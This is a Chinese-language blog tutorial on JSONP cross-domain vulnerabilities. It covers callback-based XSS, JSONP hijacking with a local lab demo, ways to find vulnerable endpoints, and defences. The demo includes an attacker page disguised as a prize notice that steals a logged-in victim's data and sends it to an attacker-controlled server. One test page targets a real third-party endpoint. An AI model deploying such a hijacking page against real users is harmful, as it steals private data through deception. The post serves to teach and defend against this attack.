美文网首页Web攻防
初识Jsonp跨域劫持漏洞

初识Jsonp跨域劫持漏洞

作者: book4yi | 来源:发表于2022-02-23 14:50 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    0x01 前言:


    我最开始接触安全的时候,有阅读过跟跨域漏洞相关的技术文章,奈何自己才疏学浅,没能看明白文章的内容。碰巧最近在了解蜜罐的相关知识,这才想捡起自己曾经难乎为继的漏洞。

    0x02 Jsonp:


    JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。使用JSONP技术可以让网页从别的域名或网站获取数据,即跨域读取数据。

    基础认识:

    JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。

    基本语法:

    callback({"name":"test", "msg":"success"})

    这里举一个例子帮助理解:假设a.com下存在data.json文件:

    {"username": "book4yi","password": "secret"}
    

    而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:

    <script src='./jquery.js'></script>
    <script >
     $.ajax({
     url: 'http://a.com/data.json',
     type:"get",     
     dataType: "json",
     success: function (data) {
      console.log(data);}
     })
    </script>
    

    但是如果该HTML文件放置在b.com下即与data.json文件不同域,访问该HTML文件时浏览器会报错,这是因为Ajax不能发起跨域请求。

    为了使网页能够获取到其他网页(不同源)的数据,就搞了几种跨域的方法,其中包括了JSONP

    原理:

    利用script标签的src属性能够发起跨域请求

    将该HTML文件改为:

    <body>
     <script src='./jquery.js'></script>
     <script>
     var s = document.createElement('script');
     s.src = 'http://a.com/data.json';
     document.body.appendChild(s);
     </script>
    </body>
    

    此时再访问就发现可以跨域发起请求了,但是会看到浏览器报错,这时因为data.json中的内容并不符合JavaScript代码规范。

    我们需要重新定义data.json文件让其符合JSONP规范:

    callback({"username": "book4yi","password": "secret"})
    

    然后在HTML文件中添加callback函数的定义即可:

    <body>
     <script src='./jquery.js'></script>
     <script type="text/javascript">
     function callback(json) {
      console.log(json);
     }
     var s = document.createElement('script');
     s.src = 'http://a.com/data.json';
     document.body.appendChild(s);
     </script>
    </body>
    

    此时,基本的JSONP功能就实现了,我们Web站点的HTML文件能够正常地跨域获取目标外域JSON数据了。

    0x03 Jsonp跨域漏洞:


    JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

    callback自定义导致的XSS:

    在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。

    这时如果未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

    默认情况下未设置Content-Type且未对callback参数进行过滤的场景,响应报文在未设置Content-Type情况下其值为text/html:

    之前挖某买SRC遇到过几个都是这种情况,后面实在绕不过Waf就让它变成任意url跳转漏洞

    JSONP劫持:

    利用原理:

    JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。

    模拟一个登录站点,登录后可与JSONP端点交互获取用户信息。

    1、main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息::

    <?php
    error_reporting(0);
    session_start();
    $name = $_GET['name'];
    $pwd = $_GET['pwd'];
    if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
        $_SESSION['name'] = $name;
    }
    if (isset($_GET['logout'])) {
        if ($_GET['logout'] === '1') {
            unset($_SESSION['name']);
        }
    }
    //echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
    //echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
    echo '<a href="http://192.168.107.170/info.php?callback=jsonp">用户信息</a><br>';
    echo '<a href="http://192.168.107.170/main.php?logout=1">退出登录</a><br data-tomark-pass>';
    if(!$_SESSION['name']){
        echo '<html>
        <head>
            <title>登录</title>
            <meta charset="utf-8">
        </head>
        <body>
            <form action="main.php" method="get">
                用户名:<input type="text" name="name">
                密码:<input type="password" name="pwd">
                <input type="submit" name="submit" value="login">
            </form>
        </body>
        </html>';
    }else{
        echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
    }
    ?>
    

    2、info.php,放置于目标站点中,JSONP端点,用于提供指定用户的信息,这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:

    <?php
    header('Content-type: application/json');
    error_reporting(0);
    session_start();
    $callback = $_GET['callback'];
    if($_SESSION['name'] === 'admin'){
            echo $callback."({'id':1,'name':'book4yi_admin'})";
    } elseif($_SESSION['name'] === 'guest') {
            echo $callback."({'id':2,'name':'book4yi_guest'})";
    } else {
            echo $callback."获取个人信息失败";
    }
    ?>
    

    3、jsonp_hijacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:

    <html>
    <head>
        <title>恭喜你中奖啦!</title>
        <meta charset="utf-8">
    </head>
    <script type="text/javascript" src="./jquery.js"></script>
    <script>
        function jsonp_hack(v){
            alert("JSONP hijacking");
            var h = '';
            for(var key in v){
                var a = '';
                a = key + ' : ' + v[key] + ' ,';
                h += a;
            }
            alert(h);
            $.get('http://192.168.107.129:8000/?value='+h);
        }
    </script>
    <script src="http://192.168.107.170/info.php?callback=jsonp_hack"></script>
    <body>
        <h1>Welcome</h1>
    </body>
    </html>
    

    补充:客户端可以使用原生js或者jQuery实现JSONP跨域资源请求
    jQuery:可用$.getJSON,$.ajax,$.get,举例$.ajax方式

    <body>
    <div id="here"></div>
    <script>
        $.ajax({  
            type: "get",  //jsonp默认为get请求,即使写post也会转换成get方式  
            async: false, // jsonp默认为false,即使写true也会转换成false  
            url: "http://www.php.com:8088/jsonp.php",  // 服务端地址  
            // data: {"code" : "CA1405"},  // 入参  
            dataType: "jsonp", // jsonp调用固定写法  
            jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分  
            // jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分  
            success: function(data){ // 调用成功之后的方法  
                var html = '<ul>';
                html += '<li>' + 'username: ' + data.username + '</li>';
                html += '<li>' + 'password: ' + data.password + '</li>';
                html += '</ul>';
                document.getElementById('here').innerHTML = html; 
            },  
            error: function(){  // 调用失败之后的方法  
                alert('error');  
            }  
        });  
    </script>
    </body>
    

    4、受害者登录以后,攻击者向用户发送恶意链接诱使用户点击访问,当用户被诱导访问该恶意链接之后,恶意页面就会窃取JSONP端点数据并通过XHR的方式发往攻击者的服务器:

    JSONP劫持利用过程:

    0x04 漏洞挖掘:


    常见关键字:

    callback
    jsoncallback
    jsonpcallback
    jsoncall
    jsonpcall
    cb
    jsonp
    jsoncb
    jsonpcb
    jQuery
    

    捕获所有的以GET方式请求的http数据包:

    • 遍历参数是否存在上述关键字
    • 根据前端代码判断,如:dataType: "jsonp"
    • 对响应类型为json格式的,添加请求参数如callback=8888
    • 对响应类型为非json格式的,通过jsonp既有特征进行判断

    工具推荐:https://github.com/p1g3/JSONP-Hunter

    刚好看到github上有个burp插件,简单看了下源码,大致实现原理:

    1、若存在参数,对参数进行遍历,构造正则:param_value + '({.*?})' 与响应体进行匹配
    2、添加关键字参数:callback=jsonp1&cb=jsonp2&jsonp=jsonp3……

    确实是否是真的JSONP方法,我们将目标URL填入下面的script标签的src中,将callback参数值改为我们自己定义的JS函数callback即可:

    <html>
    <head>
    <title>JSONP Hijacking</title>
    <meta charset="utf-8">
    </head>
    <body>
    <script type="text/javascript" src="./jquery.js"></script>
    <script type="text/javascript">
        function callback(v){
            console.log(v);
        }
        var s = document.createElement('script');
        s.src = 'http://sapi.beibei.com/resource/utm_source.html?callback=callback';
        document.body.appendChild(s);
    </script>
    </body>
    </html>
    

    修改之后访问该HTML文件,若在浏览器的控制台看到输出了JSONP数据内容,则确定是真的JSONP端点

    Jsonp可利用的点:

    1. Referer过滤不严谨(比如仅验证是否存在xxx.com)
    2. 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空,比如https跳转到http);
    3. CSRF调用json文件方式不安全,token可重复利用;
    4. JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
    5. 未严格过滤callback函数名及JSON里数据的输出;
    6. 未严格限制JSONP输出callback函数名的长度。

    0x05 防御手段:


    1. 使用CORS替换JSONP实现跨域功能;
    2. 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等
    3. 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 )
    4. 严格过滤 callback 函数名及JSON里数据的输出;
    5. 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法);

    0x06 参考如下:


    JSONP跨域漏洞总结
    Jsonp漏洞简析及自动化漏洞挖掘脚本编写

    相关文章

      网友评论

        本文标题:初识Jsonp跨域劫持漏洞

        本文链接:https://www.haomeiwen.com/subject/ayjplrtx.html